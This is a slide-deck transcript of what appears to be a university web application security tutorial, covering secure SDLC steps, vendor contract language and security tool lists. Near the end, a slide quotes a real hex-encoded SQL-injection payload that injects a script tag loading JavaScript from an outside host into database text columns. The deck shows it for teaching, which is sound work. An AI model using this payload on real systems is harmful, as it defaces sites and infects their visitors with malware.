Delineate roles and responsibilities

Outline a methodology for project planning and management

include template for analysis of data privacy and retention.

outline how confidential data should be collected, categorized, inventoried, stored, shared, and managed across time.

describe how any applications that "touch" this data should be implemented. Cover auditing , encryption requirements and the standard set of approved technologies (Reference Architecture)

document and follow a formal change management process

Integrating Security into SDLC Step 2: Training

If users are not educated on security concerns, regulations, and laws, any system will fail.

Email will be unintentionally used to transmit regulated or confidential information

Private data will be entered into a text field

Train Project Leaders, Programmers and Business units on data security and policy.

Don’t assume technical staff and vendors are aware of all security issues.

Assign appropriately trained staff, mentors/reviewers

Use Educause

Integrating Security into SDLC Step 3: Requirements

Identify security requirements at requirements gathering phase in product acquisition or development

Examples of questions to ask and put into template

Any personal or confidential data?

Compliance requirements – PCI, SB1386, FERPA, HIPAA?

If 24/7 uptime is required with clustering and load balancing, think about logging requirements…

do logs need to be centralized? easily audited for forensics analysis?

Retention period? Tamper-proof?

Risk assessment – normal or high risk application?

Per requirements, configure systems and applications, from day one, with the most secure configuration your business functionality allows

Our Requirements Template

1.1 User Classes and Characteristics

<Identify the various user classes that you anticipate will use this product (i.e. users doing updating vs. users with browse access only ). User classes may be differentiated based on frequency of use, subset of product functions used, technical expertise, security or privilege levels , educational level, or experience...>

2.5 Design and Implementation Constraints

<Describe any items or issues that will limit the options available to the developers . These might include: …corporate or regulatory policies; …interfaces to other applications; specific technologies, tools, and databases to be used; …communications protocols; security considerations .>

3.4 Communications Interfaces

<Describe the requirements associated with any communications functions required by this product, including e-mail, web browser, network server communications protocols, electronic forms, and so on. Identify any communication standards that will be used, such as FTP or HTTP. Specify any communication security or encryption issues , data transfer rates, and synchronization mechanisms.>

5.3 Security Requirements

<Specify any privacy issues surrounding use of the product or protection of the data used or created by the product. Define any user identity authentication requirements . Refer to any external policies or regulations containing security issues that affect the product. Define any security or privacy certifications that must be satisfied.>

Requirements Document Format

Design and format your Requirements Documents to facilitate testing.

Example:

System Feature 1.1.a – Session times out after 15 minutes of idle time.

System Feature 1.1.b – Upon session timeout, data erased from memory and temporary tables.

Integrating Security into SDLC Step 4: Architecture and Design

Dedicate a Security role in your organization

Centralize security policy, security reviews, security component development, maintenance operation and oversight functions with qualified staff

Security Architecture must

address layers of protection, including database, network, operating system, and application layer

be flexible to support integration of new technologies

provide a modular approach to authentication and authorization

assign security levels consistently; at the lowest access level required by the individual; strictest security

Identify vulnerable points; design and reuse common and tested components

Consolidate storage of sensitive data – important!

Communication between distributed components

Document how the data is used by each component –where it goes

Transmissions/exchanges of private information must be encrypted using protocols like:

HTTPS

SFTP

SSH

STunnel

VPN

Document how an application or component authenticates to another service - passwords, PKI certificates, secrets, IP restricted?

Security Architecture – Multi-layer

Security Architecture Lifecycle – focus on Standardization

Application Logging Design

Prepare for that Forensics Audit. Design applications for it.

Train developers on application logging standards and tools

Define appropriate logging levels (WARN, INFO, DEBUG, FATAL, INTRUDER_ALERT…)

Store and archive logs in a central and secure location such that only administrators can view and no one can alter them

Examples:

Web access logs that include time, IP, URL

Authentication/authorization logs that include time, IP, user, auth result

Database audit logs of access to sensitive data including time, user, SQL statement/object

Logs of critical application-specific activity

Integrating Security into SDLC Step 5: Implementation / Acquisition

Make security “routine”

Schedule web/network & configuration vulnerability scanning on any new server – even for development

Require reviews of all security and database code from line 1

Automate nightly static and dynamic code scanning tools

Require developers to build unit test harnesses – discipline!

Require developers to reuse tested security components

Single-signon, authorization API, user identity objects, logging API

Schedule regular web application penetration testing day 1

De-identify or falsify confidential test data

Write and use manual security test procedures

Perform concurrency, load, and stress testing

Detect design flaws early – more expensive to fix later

Code Review – a Process

Manual Code Review should at least focus on http:// www.owasp.org/index.php/Code_Review_Processes :

Authorization

Access Control

Input Validation

Error Handling

Session Management

Form Keys or Frequent Session Rotation (for CSRF defense)

Proper Application Logging

Database access and updates, data encryption

Use Automated Tools – pay attention to false negatives and false positives. Not replacement for manual code reviews.

Metrics http://www.owasp.org/index.php/Code_review_Metrics

defect density, lines of code, function points

Cyclomatic complexity counts decision points (if/else/switch/case)

0 - 10: Stable code. Acceptable complexity

11 - 15: Medium Risk. More complex

16 - 20: High Risk code. Too many decisions for a unit of code. Needs re-design and re-write.

Storing sensitive data

De-identify or store parts of confidential data

try last 4 digits of SSN + date of birth for identity

Encrypt table records and/or files that contain:

password, SSN, home phone/address, credit card, bank account, Driver's License, non-public student or employee data, or FERPA blocked student data

Encrypt storage at database/file and application layer

Database encryption is not enough! Protects from lost/stolen disk or backup, not from SQL-Injection hack attack

Multi-layer encryption protection - User account breach won’t allow decryption

Confirm your database encrypts transaction logs if the database is encrypted!

Data Modelling for Security

When designing database tables…

Do not use confidential data elements as keys in tables (e.g. SSN). Primary key can’t change.

Using it as a foreign key copies that confidential data all over the database!

Normalize to consolidate confidential data into a single table

Audit ONE table / ONE column, not many

Encrypt ONE table / ONE column, not many

Mock intruder alert drills and prepare!

Review logs for forensics capability

Integrating Security into SDLC Step 6: Deployment

Create secured development, test & production environments

Required for Payment Credit Card Industry DSS compliance

Cross train Help Desk, Sys Admin, support staff

“ Market” Application security risks and policy

Consider policy to disallow confidential data on laptops or other portable devices

Think about how printers will be used. Cut & Paste?

Professionally administered system and data backups?

backups identify compromised individuals

Off-site backups? Where? At home?

Disaster recovery plans?

Security / Production Release Checkoff? SDLC Approvals?

SDLC Approvals (Moving to JIRA Workflow)

Integrating Security into SDLC Step 7: Operations/Maintenance

Catalogue and inventory use of personal data

Continue “routine” security reviews, access audits, password changes

Review / monitor logs – we do this on a daily basis

Continue vulnerability scanning

Apply timely security patches at all architectural layers

OS, Firewall, Database, Platform

Change control

Weekly meeting for all developers and administrators

2 week notice and test plan required of all turnovers/change

Coordinate and schedule changes in network, database, applications, OS, firewalls and configurations. Reduce collisions.

Use a campus Calendar to publish schedule.

Changes recorded in Issue Tracking system or ServiceDesk

Fewer “emergency” changes means fewer security vulnerabilities

Integrating Security into SDLC Step 8: Decommissioning

Data

Retention/preservation compliance?

Properly dispose hardware and software

Does data retention period collide with a software end-of-life? Clipper/DOS 6.2?

Can OS and hardware run application today if necessary to restore data? Is data warehousing required?

Sanitize media professionally – degauss, shred. Deal with backups

Update catalogue of personal data again!

Agenda

Tools

UC Irvine’s Incident

United Health Care – organized ring of internal staff was responsible for stealing SSNs of UC Irvine Graduate Students. The thieves then used the student SSNs to file tax returns.

ISO/IEC 27002:2005, Reference 6.2.3 – Addressing Security in Third Party Agreements

NIST SP. Pub. 800-53, Rev. 2; Section 2.4 – Security Control in External Environments

NIST CSPP - Guidance for COTS Security Protection Profiles

http://csrc.nist.gov/publications/nistir/ir6462.pdf

PCI – Requirement A.1 – Hosted Providers Protect Cardholder Data Environment

https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc

Contract language should cover

Glossary / Definitions: What is “Confidential Data”?

Use of data

Data Sharing

Data Protection Expectations

Data Transmission / Encryption

Data Protection after Contract Termination

Notification of Security Incidents

Security Incident Investigation

Security Audits/Scans (Independent Verification)

Indemnification as a Result of Security Breach

References to Third Party Compliance with University Policies, Standards, Guidelines, And Procedures

References To Third Party Compliance With Applicable Federal, State

Local Laws/Regulatory Requirements .

Reference: ISO/IEC 27002:2005, Reference 6.2.3(a); (r)

Reference: NIST Sp. Pub. 800-53, Rev. 2; Control SA-9

Educause Security Task Force: Contract Language Toolkit – Draft

Vendor agrees to have an independent third party (e.g. Cap Gemini Ernst & Young, Deloitte & Touché, or other industry recognized firms) security audit performed at least once a year.

The audit results and vendor’s plan for addressing or resolving of the audit results shall be shared with the University within XX (X) days of the Vendor’s receipt of the audit results. The audit should minimally check for buffer overflows, open ports, unnecessary services, lack of user input filtering, cross site scripting vulnerabilities, SQL injection vulnerabilities, and any other well-known (published on bugtraq or similar mailing list) vulnerabilities.

The University reserves the right to request the results of a formal penetration test.

A penetration test is here defined as "the process of using approved, qualified personnel to conduct real-world attacks against a system so as to identify and correct security weaknesses before they are discovered and exploited by others.“ See http://www.ffiec.gov/ffiecinfobase/booklets/e_banking/ebanking

ASP Vendor Security Checklist

What certification or audits does the University have that the system will be managed per our guidelines and contract agreement?

How often is the system patched, by whom and when?

How are we notified if system security is breached? Notification handling?

How is data purged from the vendor's hardware?

How are disks, tapes, or computers that might store sensitive data disposed of? Are the media erased before disposal or reuse?

Where is the hardware location? Is it inside or outside of the United States? Is it subject to our laws?

Are the personnel who administer and use the hardware located within the United States and subject to our laws?

Is data encrypted?

If private data is transmitted, either via Internet, on CD-ROM or file transfer, is it encrypted?

Is SSL enabled to the application so that traffic over the Internet, including authentication is secure and private?

Data loss, data backups: what are the guarantees? Are backups stored offsite? If backups have sensitive data, are the backups encrypted? Can we store the backup at UCI? How about disaster recovery planning?

How is the hardware or database distributed by the vendor among customers? Is one hardware used for all customers? Is a single database used for all customers or does each customer have a private database?

How are user accounts managed?

How do you manage the system for detection of intrusion .

Agenda

Tools

Good Tool Listings

OWASP

http://www.owasp.org/index.php/Phoenix/Tools

NIST

https://samate.nist.gov/index.php/Tools

https://samate.nist.gov/index.php/Web_Application_Vulnerability_Scanners

Insecure.org

http:// sectools.org /

Development / Debug / QA Tools

Unit Testing – JUnit * for Java Whitebox Testing (Eclipse*)

Nightly Automated Code Scanning – static and dynamic

JTest – dynamic and static code analysis

OWASP’s Code Crawler *

Load/Stress Testing JMeter * - test 1000s virtual user load

Issue Tracking – JIRA *

Code versioning – CVS *, Subversion *

Firefox Extensions for Web Application debugging

Firebug *, Web Developers Toolbar *

Tools for analyzing, intercepting and modifying HTTP data between web server and client, cookies and form fields

OWASP’s WebScarab * , Tamper Data* , Add N Edit Cookies*

*Free

Open Source Reusable Security Components (a few)

OWASP

CSRFGuard Project

Code Snippet

Internet2

Shibboleth – Web Single SignOn (SSO) across or within organizational boundaries.

Grouper - consolidates delegated manual management of groups and membership.

Signet – authorization system

JA-SIG

Central Authentication Service (CAS) - an enterprise Web single sign on service.

Tamper Data – Firefox Plugin

Web Application Vulnerability Scanning Tools – Open Source / Free

Nikto - an open source (GPL) web server scanner testing web servers for multiple vulnerabilities, including over 3200 potentially dangerous files/CGIs.

Paros proxy - A Java based web proxy. Supports editing/viewing HTTP/HTTPS messages to change cookies and form fields. Includes a web traffic recorder, web spider, hash calculator, and a scanner for testing common web application attacks such as SQL injection and cross-site scripting.

Grendel Scan – Java based

Pantera Web Assessment Project – Python based

Spike Proxy – Python based

Wapati - Database Injection (PHP/JSP/ASP ), LDAP Injection

BurpSuite

Web Application Vulnerability Scanning Tools – Commercial

Acunetix Web Vulnerability Scanner - checks web applications for vulnerabilities such as SQL Injection, cross site scripting, and weak password strength on authentication pages.

HP WebInspect - checks that a Web server is configured properly, and attempts common web attacks such as parameter injection, cross-site scripting, directory traversal.

NTObjectives NTOSpider

Cenzic's Hailstorm

N-Stalker - has a free edition tool based on N-Stealth

Parasoft's WebKing – has a lot of functionality

MileSCAN – has many types of scanners

IBM Software - Rational AppScan – provides remediation capabilities; task lists necessary to fix vulnerabilities

Watchfire Appscan

Licensed by UC Irvine to scan campus applications

Scans web applications faster and more thoroughly than only manual

testing

System Administrator Tools

VPN with virus / rootkit / key logger scanning

Two factor authentication - (we use RSA SecurID )

Intrusion Detection Systems

TripWire

OSSEC*

Log Analysis and Management

Splunk *

Syslog-ng *

Unix Security Checklist - http://www.cert.org/tech_tips/usc20_full.html

Microsoft Checklist:

Securing Your Web Server - http://msdn.microsoft.com/en-us/library/aa302351.aspx

Securing Your Database Server - http://msdn.microsoft.com/en-us/library/aa302337.aspx

*Free

Database Scanning and Hardening Tools

Microsoft Baseline Security Analyzer (MBSA)*

Imperva's Scuba* - a multi-platform free Java utility that scans Oracle, DB2, MS-SQL, and Sybase databases for vulnerabilities and configuration flaws. Creates remediation reports with detailed test descriptions. Example report from our Credit Card Processing SQL Server:

(high) xp_cmdshell not removed : this procedure allows issuing operating system commands directly to the command shell

GRANT given on registry stored procedure: Permissions are granted on stored procedures that allow reading and writing sensitive data from Windows registry

Web Application Security is ALL ABOUT THE LAYERS!

*Free

Network Vulnerability Scanning Tools

Wikto - Web Server Assessment Tool for MS .NET

Nessus – not “free” anymore. Plugins for network, OS/system, Web server, Firewall, and database vulnerabilities and bugs.

Retina - multi-platform vulnerability management, identifies known and zero day vulnerabilities and risk assessment

Core Security Technologies – network and application testing

IBM - Internet Scanner – network vulnerability scanner

Sara : Security Auditor’s Research Assistant; old SATAN tool

Foundstone – many testing tools, some free - SiteDigger

MS Baseline Security Analyzer * – scans servers specific to Microsoft security recommendations; offers remediation guidance

SAINT – general vulnerability scanner

Web Application Firewalls

XSS, Injection Protection and beyond…

Apache Web Application Firewall mod_security * - http:// www.modsecurity.org /

IIS

URLScan / IISLockDown *

Aqtronix WebKnight*: http://www.aqtronix.com/?PageID=99

Hardware Appliance vs Software solutions

Hardware: Fast and Expensive

Vendors: Citrix, Imperva, many more

Software: Cheap(er) and Slow(er)

An Application Firewall is NOT a substitute for properly coding applications to protect themselves and the data they touch!

Remember our Puzzle?

"GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Agenda

Tools

Glossaries – which is best?

NIST Glossary (87 pages!) http://csrc.nist.gov/publications/nistir/NISTIR-7298_Glossary_Key_Infor_Security_Terms.pdf

OWASP Glossary (35 pages) http://www.owasp.org/index.php/Category:Glossary

ISO Glossary (18 pages) http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm

PCI Glossary (11 pages) https://www.pcisecuritystandards.org/pdfs/pci_dss_glossary_v1-1.pdf

Resources

Open Web Application Security Project (OWASP) - http:// www.owasp.org/index.php/Category:OWASP_Project

Educause - http://www.educause.edu/SecurityTaskForce/Resources/1225

Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Home

UC Irvine Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Applications+and+System+Development

National Institute of Standards and Technology (NIST) Computer Security Division - http://csrc.nist.gov/

NIST: Security Considerations in the Information System Development Life Cycle http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf

National Institute of Standards and Technology (NIST) National Vulnerability Database Checklist Site - http:// checklists.nist.gov /

ISO/IEC 27001:2005 “Information Security Requirements”

http:// www.iso.org/iso/catalogue_detail?csnumber =42103

ISO/IEC 27001:2005 “Specification for an Information Security Management System”

http://www.iso27001security.com/html/27001.html

ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics”

http://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdf

ISO Glossary of Terms http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm

PCI-DSS - https://www.pcisecuritystandards.org/

Cenzig Imperative Web Application Assessment Plan http:// www.cenzic.com/pdfs/CenzicWpImpAsPln.pdf

US Computer Emergency Readiness Team (US-CERT)- http://www.us-cert.gov /

SANS - http://www.sans.org/ and SANS Programmer Certification: http:// www.sans.org/gssp /

Secunia - http://secunia.com/

UC Irvine’s Requirements Template - http:// snap.uci.edu/xml/sdlc/standards/RequirementsTemplate.doc

What we learned today!

Primary Attach Vectors, Hacking Techniques and Exploits, Defensive programming / Solutions

OWASP’s Top 10 list / WebGoat Learning Environment

Dealing with Web Browser cookies, auto-complete, and caches

Database reader/writer accounts – DB injection/Web Application Design best practices, running with least privileged account

Session management to avoid hijacking and middleman attacks

What are the essentials of a comprehensive web security program? Effective practices?

Embedding security into your Software Development Life Cycle - For Managers, For Developers/QA , For System and Database Administrators

Education and Training

Security Architecture, Firewalls

Secure Web Application Architecture and Infrastructure, Secure AJAX and Web Services?

Authentication, Authorization and Access Control

Logging, OSSEC, Splunk

Encryption, Cryptography

Securing/Patching OS

Securing Databases

Securing Web Servers – Apache’s mod_security module, Coldfusion, IIS

Reviews, Checklists, Audits and Self Assessments

Security Frameworks - ISO, NIST , PCI, Cobit - which one?

Procurement Practices - Dealing with Vendor or hosted applications, Contract Language

Tools - Scanning, Penetration Testing, DB/OS Hardening and beyond

OWASP, NMap, Nessus, MBSA, Scuba, OSSEC, Splunk, Foundstone, AppScan, Firebug, TamperData, WebScarab

Resources - SANS, OWASP, CERT, Secunia, EDUCAUSE

Printed Materials

This presentation

http://apps.adcom.uci.edu/EnterpriseArch/PresentationsConferences/Conferences/EducauseAnnualWebAppSecTutorial_V3.ppt

PCI Glossary (11 pages) https://www.pcisecuritystandards.org/pdfs/pci_dss_glossary_v1-1.pdf

PCI-DSS Questionnaire D and Attestation of Compliance

https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc

UC Irvine’s Administrative Computing Services SDLC

Portal Page http://snap.uci.edu/viewXmlFile.jsp?resourceID=1433

Code Review Checklist http:// snap.uci.edu/viewXmlFile.jsp?resourceID =1529

SDLC Approvals http:// apps.adcom.uci.edu/expresso/econtent/Content.do?resource =2044

Web Application Security Tutorial

0 comments

Notes on slide 1

17 Favorites